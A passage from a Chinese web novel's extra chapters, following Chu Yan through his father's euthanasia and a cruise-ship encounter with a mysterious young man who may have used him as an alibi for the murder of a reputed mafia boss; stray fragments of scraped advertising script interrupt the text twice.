待高脚杯里的酒注了大半杯,那人不知从哪儿掏出来一块工程用胶布,对着橡木桶上那道口子啪唧一拍,转身从梯子上纵身一跃,落到地上,手中杯子里的葡萄酒竟然一滴都没洒在地上。 那人这才注意到自己身后一直站着一个人,抬起脸,明目张胆地用极其直白的目光上下打量着楚言。 楚言在看见那人正脸时不可抑制地倒吸了一口气。好伟大的一张脸。 上小学那会儿大家都看《流星花园》,日版漫画直译过来叫做《花一样的男子》。当年楚言只觉得肉麻,男的要是像花一样,那还不是个娘炮?他们班当时就有个那样的男生,常常被人骂是“二椅子”。 面对眼前这个人,楚言第一次相信,原来这世界上真的有花一样的男子,美而不娘,艳而不妖。 这人皮肤白的发光,鼻子生得极好,充满了男性的英气,再配上精致的眉毛眼睛嘴巴,顶级的画师若是没见过本人,也想象不出这样的美貌。 他打量着楚言,之后没来由的噗嗤一声笑了,问了句:“中国人?” 一般小贼被抓住偷酒会有的紧张和尴尬在这个人脸上半分都没有,反而神色十分松弛和愉快。 楚言反问他:“你是混血?” 对方毫不掩饰地自报家门:“我爷爷是拉脱维亚人。” “怪不得,拉脱维亚人几乎都是蓝眼睛。” 从这人过分优秀的骨相,外加瞳孔里微微透出的蓝色,楚言早就猜出了个大概。猛一看是亚洲人,实际最少1/4混血。 这位蓝眼睛举起手中的红酒杯,晃了晃,“你也是来品酒的?” 楚言一愣,心说这人脸皮可真是厚,“你管这叫‘品酒’?我们那儿管这叫‘偷’。” 蓝眼睛的目光落在楚言的手上,坦然地笑道:“哦,那你拿着作案工具干吗?该不会是来酒窖漱口的吧!” 楚言低头一看,自己手里居然握着一只玻璃杯,他心不在焉,估摸着是从影音室出来的时候顺手拿出来的。他反观了一下自己,卫衣卫裤,脚上穿着双一脚蹬,手里拿着个空杯子,确实不像是这座庄园的主人或嘉宾,看上去和这个小贼没什么区别。 他还来不及回怼那个偷酒的,对方便一把抓着他的手腕抬起来,往他的杯子里倒了一些红酒,但是抠门的只给没过杯底一点点。倒完酒,那人二话不说便一扭头,悠哉地坐在一旁台阶上,兀自喝起酒来。 楚言觉得这人可太有意思了,他不记得今天宾客里有这么一号人物。也对,要是宾客的话,晚上宴会的时候就可以大大方方地饮酒,哪里需要废这个劲?庄园里的佣人楚言都见过,他不禁走过去,坐在了这人的旁边,问道:“你是干什么的?” “你觉得呢?” “不知道,”楚言打量着他的穿着,磨旧了的衬衫和水洗白的牛仔裤,“看着像个……嗯,像个艺术家。” 对方带着笑意歪了歪头,“你可以说得更直接一些。” 楚言:“反正看着不像富人。” 那人仿佛对楚言的“冒犯”十分满意,之后一仰面,居然把杯里的红酒给一口闷了,似乎在用行动证实,他是个连品酒都不会的平头百姓,而且连装都懒得装。 喝完,他用手指擦了擦嘴角宝石红的酒液,不以为然地说:“富人不过就是有钱的穷人罢了。这酒也就那样儿,没意思。” 这话好像是在嘲弄这座庄园的主人,楚言感觉心里不太舒服,开口道:“那是你不会品,这么长年份的酒刚从橡木桶里拿出来是不能直接喝的,需要醒酒。这样才能让葡萄酒和因为陈年产生的带苦味儿的碎渣分离开来,而且葡萄酒也需要和空气接触,加速氧化,就像呼吸一样。你刚才那样,等于是把尸体囫囵吞了。” 这一番科普应该能让这个偷酒贼心服口服吧,富人的这些玩意也不是全然没有价值,他牛嚼牡丹,反咬这好酒没意思,必须要给他个教训。 楚言等着看对方吃瘪,或者至少也要流露一丝尴尬的眼神,让他出出气。没想到那人毫无反应,盯着他的杯子,只是淡淡地问了一个简单的问题,就瞬间把他给打蔫儿了。 “你这杯子挺好看的,别人送的?” 这杯子是易卿尘搬离帝京公馆时留下的,是他那次去景德镇亲手从吹玻璃开始给易卿尘做的。易卿尘不要的杯子,楚言却舍不得丢,一路带来了法国,天天不离手。 他苦笑了一下,任谁都能看出他突然的失意。 “我前男友留下不要的。” 虽然他已经把易卿尘的身份包装成了“前男友”,没说“我死皮赖脸追了几年又看不上我的人”,算是挽尊,可这句话一出,蓝眼睛还是给了他一个可恶的同情的眼神。 楚言一个窝火,也一仰颏,把杯子里的酒全灌进了喉咙。 “怎么样,尸体味道怎么样?” 这人虽然脸好看,嘴巴也挺毒的,而且看这架势,还是个有仇必报不吃亏的主。 楚言把杯子递了过去,用命令的口吻说道:“也就那样,没意思,但我想再来一杯,你受累?” 他本以为那人会拒绝他,没想到那人二话不说接过杯子,起身大步走向了梯子,身手矫健地爬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了上去。 楚言刚觉得这人还挺仗义,只听“刺啦”一声,他的杯子从梯子的高出直直摔下来,自杀般地在水泥地上撞了个粉碎。 一块块玻璃的碎片铺散在地上,每一块都折射出一道阳光,刹那间满地满眼的晶莹剔透,有一种绝望的耀眼夺目。 那人从梯子上跳下来,眼里竟然带着三分笑意,不紧不慢地说:“有的东西碎了才更好看。” 楚言火冒三丈,咬紧后槽牙,扑上去狠抓住对方的衣领,吼道:“你这小兔崽子是故意的吧?你知不知道我是谁?从小你妈没教过你怎么做人的话,用不用我来教你?信不信我揍你!” “冷静冷静,easy.” 他已经气得快升天了,没法easy。那人就连叫他冷静时的语调都那么懒散和不走心,简直令人发指。 两人保持这个姿势好半天,楚言才稍稍平复了一点点,松开了手。他总不能因为一只杯子把人打一顿,或者送警察局吧? 见他不那么要打要杀的了,蓝眼睛又主动凑近了他,拉着他的胳膊坐在台阶上。 “这杯子和你不搭,你别不信。要是我给你面前摆一面镜子,你就能看见你用那个杯子喝闷酒时的样子,就是个可怜虫。我刚不小心给打碎了,也是天意。要不这样,我赔你?” 楚言嗤了一声,“你拿什么赔?又不值钱的玩意。” 那人想了想,从衣兜里掏出一副扑克牌,“既然不值钱,那我就赔你点儿不一样的。告诉你个秘密,我妈是个占卜师,我也会算命,我给你算一卦吧,特别准。” 说完,那人把洗好了的扑克牌捻成扇形,递到楚言面前:“来,抽一张!” 楚言看了一眼那人满脸真诚的模样,轻叹了口气,有气无力地抽了一张牌。 那人结果牌来,翻开一看,“红桃三。” 楚言皱了皱眉,54张牌,他能抽到这么小的一张,也是没谁了。 “这怎么解?” “红桃代表感情,意思是说,你会和一个人邂逅三次,然后爱上他。” 楚言眯起眼睛怀疑地追问道:“那要是红桃十呢?” 那人一副理所当然的懒散表情:“那就是你和一个人邂逅十次,然后爱上他。” “我信了你的邪……!” 楚言刚刚竟然有一瞬间真以为这人会算命,没想到又被耍了,他简直想把这个“花一样的狗男人”给剥皮红烧了。 正说着,远处传来一阵越来越近的脚步声,混合着法语的交谈声。 蓝眼睛眸光一闪,把那张红桃三塞进楚言手心,莞尔一笑,道:“楚先生,再见!谢谢你的酒,确实很一般。” 说完呼啦一下,拉起一旁搭着的风衣,一边转身一边套在身上。那风衣是巴宝莉很多年前的款式,穿在他身上显得略大了一号。他拉开酒窖的后门,放进来一阵过堂风,楚言有一瞬间的恍惚,随着门关上的声音,那人已经离开了。 他怎么知道我姓楚?他是谁? 楚言心头一凛,本能地追过去,打开门放眼望去,一排排整齐的葡萄树上挂着娇艳欲滴的歌海娜,悠然的云静止在天空中像一幅大师的油画,一切安静祥和。眨眼间,那人便消失不见了踪影。 后来楚言跟看管酒窖的,打理葡萄园的都打听了一圈,竟然没人见过这个浅栗色长发,有着深蓝色眼眸的年轻人。 要不是那一地的碎玻璃,还有手中的扑克牌,楚言甚至怀疑是自己在做白日梦。 夜晚的宴会非常热闹,因为都是特别交心的亲朋,也就没搞那些形式主义,最好的食材,上好的酒,大家围着楚老爷子吃吃喝喝,有说有笑。楚言和楚默全程陪在近前,楚时唯笑得合不拢嘴。 待到宾客全部散去,也已经很深了。楚言已经很疲惫了,正准备回房间洗澡休息,就被女佣奥利弗叫住了,说老先生有事找他。 楚言和楚默几乎是同时走进了老爷子的卧室。 父亲正坐在摇椅上,笑着看着他俩。老爷子换了一身崭新的黑色西装,一头白发梳得一丝不苟,皮鞋也擦得锃亮。 “大半夜的不睡觉,爸你这是干嘛呢?”楚默开口问道。 楚言看着楚时唯身旁站着的一个穿白大褂的医生模样的人和他家的私人律师,心中忽然涌起一股不祥的感觉。 楚时唯给了医生和律师一个眼神,律师立刻打开了手中的银白色匣子,开口道: “楚老先生委托我来见证这一时刻,我觉得很荣幸。跟了楚先生一辈子,我在他身上学到了很多。” 楚言怔愣着重复:“……一辈子?什么一、一辈子?” 律师指着白色匣子里的一支注射剂说道:“楚老先生于半年前检测出胰腺癌,现在已经扩散至全身。他申请了‘自愿安乐死’,获得了政府和医学机构的批准,就是……是今晚。” 老律师在说最后几个字的时候,牙关打颤,红了眼圈,露出十分艰难的神色。 楚言和楚默对视了几秒钟,巨大的震撼和冲击让两人都说不出一句话来。楚言僵在原地,楚默慢慢走上前去,跪在父亲面前,紧紧握住了他的手。 “小言小默,爸爸要走了。来,让我再抱抱我的儿子们。” 楚时唯说话清晰有力,一点儿也不像个临终的病人,以致于楚言完全不能相信眼前正在发生的这一切是真的。楚默已经泣不成声,扑在父亲的怀里死死搂着他的脖子,楚时唯一手拍抚着楚默的后背,冲楚言缓缓地伸出了另一只手。 楚言猛地转身,大步往门口逃去,眼看走到门前,身后父亲浑厚低沉的声音响起:“小言,勇敢一点,跟爸爸最后告个别吧。” 楚言的耳膜在嘶鸣,仿佛骨头缝里都透着凉风,世界在叫嚣着倾塌。女佣奥利弗抹着眼泪走过去把楚言拉到楚时唯的身边。楚言只觉得天旋地转,扑通一声跪了下去:“爸!爸爸……” 楚时唯笑着握着两个儿子的手,眼底是深深的笑意,面前的是一条铺满鲜花的通往天堂的路。 “孩子们,别难受别哭,我这一辈子享受过最好的,也经历过极恶的,我没有什么遗憾。能舒舒服服地死在家里的床上,我觉得这是老天爷对我的照顾。以后爸爸不在你们身边了,公司,你们想做就继续做,不想做,大可以解散了,卖了,或者捐给慈善机构。爸爸不强求。” 楚老爷子抬手揉了揉楚默的发顶,说:“小默,你大学那阵儿一门心思就想当个赛车手,这唯一一个梦想被爸爸硬是给压没了。现在爸爸要走了,以后没人拦着你了。可你要是听话,还是不要去玩赛车,爸爸还是反对,那太危险了……你天生容易冲动,不懂得适可而止,所以不适合玩那个,你自己琢磨琢磨吧。” “爸,我不玩车了,您放心……我、我听话……”楚默呜咽着保证,说的话都变了调,完全找不回自己的声音。 嘱咐完了楚默,老爷子又把头转向另一边,看着楚言,半天没说出话来,只是长长地叹了口气。 楚言哭不出来,心痛到全身发麻。半晌他才用冰凉的指头握住爸爸温暖的大手。 “爸,你没有什么话跟我说了吗?我让您失望了吧……”楚言哀哀地问。 楚时唯慈爱地笑了笑,攥着他的手指十分用力地握紧,一字一句地说:“小言,把我的骨灰洒进大海里,我要去见你妈妈了!至于你,爸爸送你四个字——” 楚言张了张嘴,喉咙生疼,却再也发不出一丝声音。 楚时唯最后拍着他的手背,缓缓地说道:“情深不寿啊,儿子。” …… 106.106 番外 楚言 中 七天后,楚言抱着父亲的骨灰盒自马赛港登上了皇家加勒比邮轮,“海洋和悦号”,从法国沿地中海出发,前往意大利,沿途将父亲的骨灰遵医嘱撒入大海。 一生传奇,最后不过一捧青灰。 富只是有钱的穷人罢了…… 此次同行的人除了楚默,还有一队私人保镖,都是从法国当地选出来的退伍军官,不仅身手不凡,还很有观察力和警惕心。之所以这么严阵以待,主要是楚默过于担心他大哥的缘故。 从父亲与世长辞至今,楚言的表现过于平静,以至于楚默总想起那句老话,不在平静中爆发,就在平静中灭亡。三十好几的男人,应该不至于想不开,不过贴身看着点儿总是好的。 航程倒数第二天,邮轮平稳地行驶在蔚蓝的地中海上。 楚默敲了敲楚言的房门,催他快点出门。 “一会儿这个酒局你必须要来,别磨蹭了,这人你我都得罪不起。” 楚言站在镜前打领带,问道:“你催了几次了,什么人这么厉害?” “一个意大利老头儿,叫尼古拉,Dantte集团主席。” “Dantte? 做航运的?” “那是表面,”楚默从兜里掏出手机,点了几下递给楚言,一边说道,“你看这条新闻,道上的都说是尼古拉干的。有人说他是黑手党,有人说他是变色龙,有一百张脸孔,实际上最大的人骨和人体器官交易贩子!” 楚言迅速翻了两下手机上的新闻,说的是近日在英国爱丁堡海关查获的一个集装箱里,藏有1500具儿童骨骸,有人怀疑是从印度墓园中盗窃的尸体,也有人怀疑是谋杀。 人骨一直是黑市上的商品,既可用作人体移植,也可用作解剖研究和教学。儿童骸骨因为可以呈现骨架发育的过渡阶段,因此价格最高。 楚言捏了捏眉心,说道:“据说,一具儿童尸体在暗网上的价格相当于一名童工日工资的1704倍,为此而绑架和谋杀,一点也不稀奇。” “嗯,那老头儿简直就是活脱脱的‘恶魔在人间’,要不是这次XX在中间搭桥,我估计咱俩这辈子也见不到这种人。”楚默说完用手指了指门外,“我选了两个身手最好的跟咱们一起去。” 这次的酒局设在11楼的私人club,酒吧连着一座小型音乐厅。楚言还没走进去便听见从里面传来一阵低沉而浑厚的乐声,仿佛一条蜿蜒的河流缓缓流淌。 一步步往里走,只见舞台上一个男人正在拉大提琴。 他仅仅是闭着眼睛,周遭的一切便黯然失色。 浅栗色的长发微蜷地披在肩上,修长的手指轻轻握住大提琴的琴弓,优雅地划过琴弦。灯光从侧面打在他高挺的鼻梁上,睫毛在光影下投射出微微的阴影,五官之间的明暗让他的侧脸在光的映衬下显得分外深邃,线条分明的下颌如雕刻般英气逼人,而那微抿的双唇透出无限的专注与从容。 楚言和楚默随着侍者的引导来到了位于舞台下方的沙发卡座,正中的古铜色皮肤的外国老头应该就是传说中的尼古拉了,在他一侧坐着一个亚洲男子,也就是这次酒局的中间人。 尼古拉冲楚家两兄弟点了点头,用眼神示意他们坐下。接着便转过头继续盯着台上拉大提琴的男人,在尼古拉的下巴处,一撮灰白的胡子微微颤动,随着他偶尔的呼吸起伏。 一曲结束,台上的灯光全部亮起,拉大提琴的年轻男人缓缓睁开了眼睛。 楚言瞬间起了一身的鸡皮疙瘩。 是那日在他家酒窖偶遇的偷酒贼! 那日的他穿着松垮休闲的衣服,一副懒散的无业艺术家模样和今日西装笔挺的高贵奢华判若两人。 男人从台上走下来,优雅美艳的脸上挂着明丽动人的笑容,露出一排洁白整齐的牙齿,让人感觉仿佛一整个春天的玫瑰同时绽放。 尼古拉的脸上皱纹被笑容挤得堆叠在一起,男人走过来,径直坐在了他身边的座位,附在老头耳边轻声耳语了什么。老头瞬间哈哈大笑起来,抬手搂住年轻男人的腰,把人使劲儿往怀里带了一把,顺势沿着裤腰把手伸了进去,一点儿也不避着人。 楚默见状赶紧扭过头去,一副“这老头是同性恋,老变态,非礼勿视”的表情。楚言却无法移动目光,他的注意力都被那个男人攫获了,男人羞怯地半低着头,嘴角还挂着笑意。 尼古拉眼神痴迷地揽上男人的身体,低头抬手摸上了自己右手上的金戒指,上面刻着的仿佛是家族的徽章。尼古拉摸上戒指的手动作到一半,又忽而停住了,转而将胸前的一条金链从口袋里拉出来,毫不犹豫地解下金链子,连带着一枚古董怀表一齐按进了那年轻男人的手心。 真是极品的货色!虽然家族戒指不能乱给,但古董珍宝,要多少给多少。 男人笑了笑,又对尼古拉耳语了两句,说完站起身来,冲着座上的其他几位欠了欠身,用意大利语说了句——“幸会,各位再见”。 男人的视线从楚言脸上轻轻扫过,表情仿佛有细微的变化,亦或者那只是楚言的错觉。他根本看不出,那人是否认出了自己。 说完那句话,男人便转身大步朝门外走去。 楚言状似不经意地对着那位中间人问道:“刚刚走的那位是谁?” 对方露出一抹暧昧的笑,瞟了一眼老头,说道:“那是尼古拉先生的朋友Clément,是个法籍华人,我一般叫他中文名,纪榴生。” “哦,”楚言微微点了点头,重复道,“纪榴生,Clément.” 那是法语“仁慈,温和”的意思,原来他叫这个名字。真是讽刺! 这人和温和半点不沾边。顶着那样一张绝艳的脸,去酒庄偷酒,故意打碎别人的信物,给丧尽天良的黑手党大佬当情人……楚言眼前浮现出那双透出幽蓝深邃的迷人眼睛,不禁从脊椎里窜出一股寒意。 后来又来了几个欧洲的生意人,几个人在私人club谈了许久,大家表面随意地聊着赌球,聊着戛纳的大秀,聊着最新款的私人飞机,实际上都想要楚家在乌泽的那一大片庄园的地皮,楚言猜也知道,那里位置隐蔽,最适合黑手党们掩人耳目,发展黑色产业了。 生意场上的事儿,自有楚默这个长袖善舞的弟弟去应付,楚言果断拒绝了他们之后安排的那些“乐子”,一个人早早回了房间。 他躺在床上随便看着一张碟片,昏昏欲睡。 外面的天色一点一点地暗了下去,楚言觉得有些饿了,可又实在不想动,就打电话叫了个room service。可不知何时,他等着等着就睡了过去,待他再醒来,窗外已经已经一片漆黑。房间门口放着的餐食也已经都凉了。 楚言抓了一根桌上的能量棒,几口便吃光了。抬眼望去,今晚的月亮很大,月光洒在海上,隔着落地窗透着朦胧的柔美。 楚言想了想,决定去甲板上走一走。临走前除了一张房卡,什么也没拿。 地中海的海面如丝绸般静谧,闪烁着星光的倒影,远处的海平线与天际线在黑暗中融为一色。 楚言一个人来到了甲板上,不知道现在是几点了,游泳池与休息区几乎都没有人,偶有几位旅客站在栏杆边,轻声交谈。 楚言靠着船舷站着,静静凝望远方的大海,清新的海风吹过,带着海洋特有的湿润与咸味,一切都很宁静祥和。 他站了一会儿,又慢慢往船尾处散步。 忽然,一股凭空而来的力量猝不及防地攫住了他的左边胳膊,楚言还没反应过来就被人拉进了一条半露天的走道里。 “谁?!” 楚言的声音未落,嘴巴就被人捂住了,后背撞上木制墙板,发出哐当一声响。 月光从头顶洒下来,映着面前那一对海水般幽蓝的眼睛。 “嘘——” 纪榴生离得他只有几厘米,温热的呼吸径直打在楚言的脸颊上,竟然还在向他逼近。 楚言心里猛地咯噔一声,抬手试图掰开对方捂着他嘴巴的手,可那人手劲儿极大,楚言又被斜抵在墙上,姿势不利于发力,一时竟然落了下风,拿他完全没办法。 “楚先生,好久不见。”纪榴生用十分轻佻的语气说道,“你白天看我的眼神告诉我,你很想我,是不是?” 纪榴生说完抬起手掌,楚言的嘴巴暴露在空气中,纪榴生不由分说地吻了上去。 楚言的脑子嗡的一下子炸开了。 “……唔!” 他本能地推拒,可对方亲吻的力度十分凶悍,仿佛海底的飓风将一切席卷其中。 纪榴生的吻技堪称精湛,让人不由自主地头脑发昏,逐渐沉沦。似乎感觉到楚言已经本能地在用唇舌回应他,身体也不再挣扎了,纪榴生才渐渐松开了嘴唇。他的喘息声十分凌乱,仿佛强压着什么痛苦似的。 片刻后,纪榴生歪着脑袋,用一种极为天真又充满引诱的语气问道:“怎么样?喜欢吗?” “你是不是疯了?被尼古拉看见会杀了你吧?” 楚言说出这话的时候心底升腾起一丝恐惧,还有无限的疑惑。因为纪榴生看起来一丁点儿惧色都没有。对方可是尼古拉,他怎么可能不怕? 纪榴生从左胸兜里拉出那块金色的怀表,在楚言眼前打开,说道:“你看,现在是2点14分,二幺四既是我的生日,也是浪漫的情人节,这样的良辰,最适合来一场艳遇了。” 说完,纪榴生在楚言的颈窝处深深埋了埋头,冰凉的沾着雾气的鼻尖蹭着楚言的脖子,酥酥麻麻的一股酸劲儿沿着脊椎一路攀升,楚言感觉自己的耳根在烧火。 纪榴生扯松了自己的领带,浪荡地耳语道:“你不用管,我来就好了。” 这人一定是疯了…… 楚言的眼睛被绸缎质感的布料挡住了,领带在后脑勺被纪榴生死死地系了一个结。 接下来的一切都在失控。 夜色中,一艘船被巨浪卷进无边的大海里,浪潮主动地包裹着船身,吞吐着桅杆,船儿彻底迷失了方向,任由巨浪带着它冲过一波又一波、高高低低的潮涌。海水越来越温热,水汽蒸腾着,似一场热带的风暴,带来狂风骤雨,抽干风暴圈内所有的空气。 黑暗放大了感官,模糊了时间的概念。 他被激活,被点燃,被这灭顶的舒爽淹没,第一次尝到一种既被动又主动的快活滋味。 …… 不知到底过了多久,风暴终于停了。 楚言两只手伸到脑后,好不容易解开了领带结,那领带的下沿一大片已经被呵气晕湿。 豆大的汗珠从纪榴生的前额滚落下来,他那张精致的脸此刻白得几乎透明,嘴唇也没有一丝血色。这一幕吓了楚言一跳。 “你……没事儿吧?”楚言想伸手去帮他擦擦汗,纪榴生却像受到惊吓,触电一般地躲开了。 这一躲让楚言十分不爽,咬着牙根说道:“你平时伺候人也这么卖力?” 纪榴生淡淡地笑了一下,拉起黑色衬衣袖子擦掉了满头的汗,又放下刚刚撸上去的西装袖子,紧了紧领口,仿佛很冷地缩了缩脖子。楚言第一次觉得他苍白又憔悴。 “楚先生可真不厚道,我做的不好吗?主动献给你,你还要出言讽刺我。” 纪榴生边说边穿好裤子,居高临下地俯视着仍然靠坐在地上的楚言。 楚言真是看不懂这个人,他偶尔闪现出的坚毅果决的表情不像是个浪荡的疯子,可再看他做出来的事,又都没什么道理可讲。 “喂!干什么呢?” 突然,一队海警站在他们面前,用英语厉声问道。 楚言瞬间有一种被人捉奸在床的感觉,但他怎么说也是个有头有脸的人物,打野战这事儿只要你不尴尬,尴尬的就是别人。 “转过去,就算是在公海上也要尊重人权。”楚言不怒而威的语气把那些人高马大的警察也唬住了,一个个都没说话。 他穿好衣裤,站起来,问道:“有什么事儿?我们犯法了?” 为首的一个警察许是知道,这艘船上非富即贵,谁他都惹不起,于是斟酌着措辞解释道:“尼古拉先生被人勒死在了船尾甲板处,你们刚刚有见到什么可疑人物吗?” 楚言一听,下意识地把纪榴生拉向自己身后,估摸着他可能会受到惊吓。可纪榴生却没什么表情,冲警察摇摇头:“没看见。你说尼古拉死了?那楚先生,”纪榴生把头转向自己,“我以后就跟了你吧。” 警察听了克制地翻了个白眼儿,又很礼貌地把他们请进海警办公室,分别问话。 因为楚言非常确定,他和纪榴生是从2点14就开始了,而法医鉴定,尼古拉的死亡时间是在2点30以后,所他暂时被解除嫌疑,但在明天邮轮停靠终点意大利之前,必须全程呆在房间内。 从海警办公室出来,在一名警察的陪同下,楚言回了自己的房间,不知道纪榴生眼下如何了。 楚言抬头看了一眼墙上的钟表,已经凌晨4点半钟。 经历了这样惊心动魄的一晚,他自然困意全无。不知为何,心中十分牵挂纪榴生,总觉得要亲眼看到他平安无事才能解了心头的惴惴不安。 警察守在门口,他不方便再出门去。烦躁之下,一向不太爱抽烟的人特别需要尼古丁的味道平息心中莫名的情绪。他摸了一根烟,走到阳台,点着了深深吸了一口。 他转过身背靠着栏杆,吞云吐雾,视线不经意瞥见隔壁套房还大亮着灯。这个时间,谁还不睡觉?他和隔壁房间仅仅隔了一道低矮的白色铁艺围栏,隔壁房间的窗帘露着不大不小的一条缝,走近了从他这个角度可以很清晰地看见那屋里的情景。 只见一个男人坐在化妆台的矮凳上,背对着他,开始一件一件地脱去上衣。等最后一件黑色衬衣被除去时,楚言惊得倒吸了一口凉气。男人的后背粘着一块白色手帕,已经被鲜血染红,这血应该流了很久,以至于手帕被整个粘在皮肤上。 男人站起来转身,让后背对着镜子,观察身上的伤口。 楚言也看清了男人的脸,是纪榴生。 纪榴生嘴里咬住一块毛巾,拿起一旁的矿泉水瓶,扭着脖子将水倒在伤口处,一边倒水一边将白色手帕从皮肉上扯下来。楚言听不见声音,但看纪榴生的肢体动作,那应该极痛。一道狰狞的血红色伤口赫然显现出来,在纪榴生洁白的后背上触 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 目惊心。 纪榴生对着镜子看了半天,又翻出药箱开始给自己包扎伤口,动作十分娴熟,仿佛受伤对他而言是家常便饭。 纪榴生很快换好了一身新衣服,而那些带血的手帕和毛巾已经被他烧掉了。 只要不被发现身上有伤,而本身又没有重大作案嫌疑的话,根据当地法律,他是不会被拉去验身的。楚言也深知这点。 可是纪榴生是怎么受的伤?他受着这么重的伤,又是为何主动和他欢爱了那么久?久到连刚刚询问的警察都要感慨一句,“身体真好”。 一团巨大的疑问从心底升腾起来。 他开始回想,自己是为何帮纪榴生做了不在场证明的。根本原因是他十分确信两个人是2:14就开始了,因为纪榴生的怀表的指针就是2:14,而纪榴生说214是他的生日,也是情人节,适合来段艳遇,这一切都深深地刻进了楚言的脑子里,让他深信不疑。而全程被蒙住了眼睛,让楚言对时间的概念感到混沌模糊,所以并不清楚两人到底做了多久。 可是……如果纪榴生一开始就是在撒谎呢?如果这一切都是设计好的呢? 楚言不寒而栗。 他也许应该立刻打开门,通知门口的警察,赶快抓住隔壁那个危险的男人! 可他却迈不开一步,僵在原地。 他没出息地想起纪榴生嘴唇的触感、紧致的包裹,还有那张苍白又无比美丽的脸……他发自内心地并不想把纪榴生供出去。 脑子正是一团乱,纪榴生朝这边走了过来,楚言立马钻进了屋里,躲在窗帘后面观察。 纪榴生换上了一身米白色休闲装,拿着一杯最烈的马蒂尼,倚着栏杆面对着大海的方向,他抬手拢了拢飞扬的发丝,露出一片莹白的精致的耳朵。 楚言对着镜子理了理头发和衣服,拿起桌上的一杯红酒,装作漫不经心地迈步走去了阳台。 纪榴生听见推拉门的响动转过头来,惊讶紧张的神色稍纵即逝,笑着举起了手里的酒杯,一副风情万种的浪荡样,说道:“Cheers!” 两间房中间的栏杆只到腰际,楚言伸过红酒杯,玻璃轻撞的声音悦耳清脆。 “你这样……少喝点儿。”楚言补充道。 纪榴生眯起眼睛,“我哪样?这就开始管起我来了?” 楚言反问:“是谁刚才当着警察的面说,以后要跟着我的?” “我那是瞎说的,我知道你看不上我。” 纪榴生说着轻抿了一口烈酒。 “你怎么知道我看不上?我要是看上了呢?” 纪榴生忽然扬头笑起来,“哈哈,楚先生,如果我没猜错,上次那杯子的碎片您都没舍得扔吧?” 楚言心头一紧。 没错。那个杯子后来被他一片一片捡起,用强力胶拼了起来,有些碎得厉害的部分实在拼不完全,只能那样破着,此刻还躺在他的行李箱里。 “你这样念念不忘,他有回头看过你一眼吗?”纪榴生毫不留情地问道。 “……他,”楚言被戳到痛处,找借口挽尊道,“如果另一个人没回来,也许我俩的结果会不同。” 纪榴生轻笑了一声,“你知道吗,法国有句谚语,Avec des si on mettrait Paris en bouteille. 意思是说,‘有了如果,我们就能把巴黎装进瓶子里了’。这句话送给楚先生正合适。” 楚言被说得哑口无言,只得沉默不语。巴黎不在瓶子里,他的破杯子除了他自己,从来无人在意。 纪榴生转过头,也只是安静地看着大海。 隔了半天,楚言好奇地问:“你以后打算怎么办?” 纪榴生怔了一秒,转而露出一副天真的神色答道:“我下了船就回学校,我的学期论文还没写完呢。” “哦?你还在上学?”楚言很惊讶。 “看着不像吗?我不是专业陪睡的,让你失望了。还是说……你觉得我刚刚的技术还不错,让你有了错觉?” 楚言没想到,自己竟然会被这个年轻人的目光灼到害臊想躲,明明对方一副狂浪不羁的怠慢表情,他却不可自控地落了下风,窘迫地挪开视线回避开话题,喉咙发干,问道:“你的论文写的什么?” “你感兴趣?告诉你也可以,”纪榴生说,“我的论文写的是如何通过生物工程进行mRNA改造,实现规模化人造器官以推动医学进步。” 楚言升起一个念头,好像很多事情突然就联系了起来,他试探性地说:“嗯,那样临床移植就可以用人造的器官,也就不存在非法器官买卖了吧?” 纪榴生听后意料之外地没什么表情,只是无所谓地耸耸肩:“好像是吧,我不知道,我只是为了混个博士毕业。” 夜晚的海风吹在身上凉凉的,这个季节不潮湿,所以其实是很舒服的感觉。可是楚言看着眼前浅栗色随风微动的发丝,忽然想到纪榴生身上的伤口,如果着凉发烧引发伤口发炎,是不是会很难熬? “你看什么呢?”纪榴生摸了摸自己的脸,又看了看手指,不明所以地问道,“我脸上有花?” 楚言指了指嘴角:“嗯,沾了脏东西。”说完就沉着脸转身大步走回屋去了。 要非说有什么脏东西,那就只能是他自己刚刚盯着纪榴生看的不单纯的目光了。 楚言站在衣柜前,扒拉着挑了件浅蓝色暗纹的高定西装外套,拿了往阳台走。可没走几步,用手掂量掂量两下,又觉得这外套太薄。 楚言走回储物间,吭哧吭哧把大行李箱拖出来打开,翻来翻去,终于翻出那件他去年在新西兰买的羊驼毛和天蚕真丝混纺的一件黑色长款大衣来,当时的销售说这件大衣的每一根毛都有气孔会呼吸,冬暖夏凉,让他心甘情愿付了2万5千新币。 楚言小心翼翼地抖了抖大衣的褶皱,搭在手臂上大步朝阳台走去。 拉开阳台门,谁知纪榴生已经走了。 楚言的心好像一脚踩空般,忽悠一下感到一种失重下坠的不安。 他和这人不过两面之缘,为何会这样? 纪榴生身份可疑,满嘴谎话,如果不是风骚卖身的浪荡子,就是穷凶极恶的杀人凶手,若不是纪榴生披着一副俊美到让人心尖发颤的皮囊,楚言想,自己也许不会和这样的人多说一句话吧?接近纪榴生,无疑是愚蠢而危险的。他不去警察那里说出他今晚看到的,已经是大人大量了。 可是总觉得哪里不对,胃肠搅着不舒服。纪榴生说到人造器官时的那种年轻飞扬的神色,让楚言想起来都觉得那画面的背景是光明的阳光,让人无限向往…… 很多种情绪交杂着,楚言揉了揉眉心。 走了也好。 因为稀里糊涂和他风流了一遭就产生怜爱,实在是可笑,更何况纪榴生很可能只是在利用他做不在场证明,那份让楚言□□的欢愉里,纪榴生是不是觉得很恶心?身上受着刀伤,还要自己动,纪榴生一定觉得分秒难挨吧…… 楚言忽然间感觉糟糕透了,将那件恶贵的大衣随手搭在中间的白色矮栅栏上,转身进了屋,带着些不明所以的生气,一把拉上了窗帘。 107.107 番外 楚言 下 月亮透过纯白色的纱帘,经过海面的反射,将卧室照得一片银亮。 楚言躺在床上翻来覆去,目光不时地瞟向阳台的方向,总觉得窗帘背后仿佛有人影在晃动,再仔细看,又什么都没有。 海浪有节律地拍打船舷,海鸥忽远忽近地发出阵阵鸣叫,又尖又细,楚言迷迷糊糊地好像睡了很久,又好像根本没睡着,做着混乱的梦。 再次睁开眼睛的时候,透过纱帘洒进卧室的光微微透着些橘红。 莫非已经天亮了? 楚言穿着一身暗灰色薄睡衣昏昏沉沉地下了地,拉开帘子望向阳台的一刻,他的手臂僵在了半空。 